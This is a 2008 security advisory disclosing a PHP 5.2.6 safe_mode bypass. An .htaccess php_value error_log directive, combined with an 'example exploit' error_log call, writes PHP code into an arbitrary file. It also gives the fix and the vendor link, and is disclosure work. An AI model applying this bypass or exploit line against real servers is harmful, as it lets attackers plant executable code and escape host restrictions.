SecurityReason : PHP 5.2.6 (error_log) safe_mode bypass

[Maksymilian Arciemowicz <cxib () securityreason com>]

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[ SecurityReason.com PHP 5.2.6 (error_log) safe_mode bypass ]

Author: Maksymilian Arciemowicz (cXIb8O3)
securityreason.com
Date:
- - Written: 10.11.2008
- - Public: 20.11.2008

SecurityReason Research
SecurityAlert Id: 57

CWE: CWE-264
SecurityRisk: Medium

Affected Software: PHP 5.2.6
Advisory URL: http://securityreason.com/achievement_securityalert/57
Vendor: http://www.php.net

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is
borrowed from C, Java and Perl with a couple of unique PHP-specific
features thrown in. The goal of the language is to allow web developers
to write dynamically generated pages quickly.

error_log

They allow you to define your own error handling rules, as well as
modify the way the errors can be logged. This allows you to change and
enhance error reporting to suit your needs.

- --- 0. error_log const. bypassed by php_admin_flag ---
The main problem is between using safe_mode in global mode

php.ini­:
safe_mode = On

and declaring via php_admin_flag

<Directory "/www">
...
        php_admin_flag safe_mode On
</Directory>

When we create some php script in /www/ and try call to:

ini_set("error_log", "/hack/");

or in /www/.htaccess

php_value error_log "/hack/bleh.php"


Result:

Warning: Unknown: SAFE MODE Restriction in effect. The script whose uid
is 80 is not allowed to access /hack/ owned by uid 1001 in Unknown on line 0

Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect.
The script whose uid is 80 is not allowed to access /hack/ owned by uid
1001 in /www/phpinfo.php on line 4


It was for safe_mode declared in php.ini. But if we use

php_admin_flag safe_mode On

in httpd.conf, we will get only

Warning: ini_set() [function.ini-set]: SAFE MODE Restriction in effect.
The script whose uid is 80 is not allowed to access /hack/ owned by uid
1001 in /www/phpinfo.php on line 4

syntax in .htaccess

php_value error_log "/hack/blehx.php"

is allowed and bypass safe_mode.

example exploit:
error_log("<?php phpinfo(); ?>", 0);

- --- 2. How to fix ---
Fixed in CVS

http://cvs.php.net/viewvc.cgi/php-src/NEWS?revision=1.2027.2.547.2.1315&view=markup

Note:
Do not use safe_mode as a main safety.

 --- 3. Greets ---
sp3x Infospec schain p_e_a pi3

- --- 4. Contact ---
Author: SecurityReason [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: cxib [at] securityreason [dot] com
GPG: http://securityreason.pl/key/Arciemowicz.Maksymilian.gpg
http://securityreason.com
http://securityreason.pl
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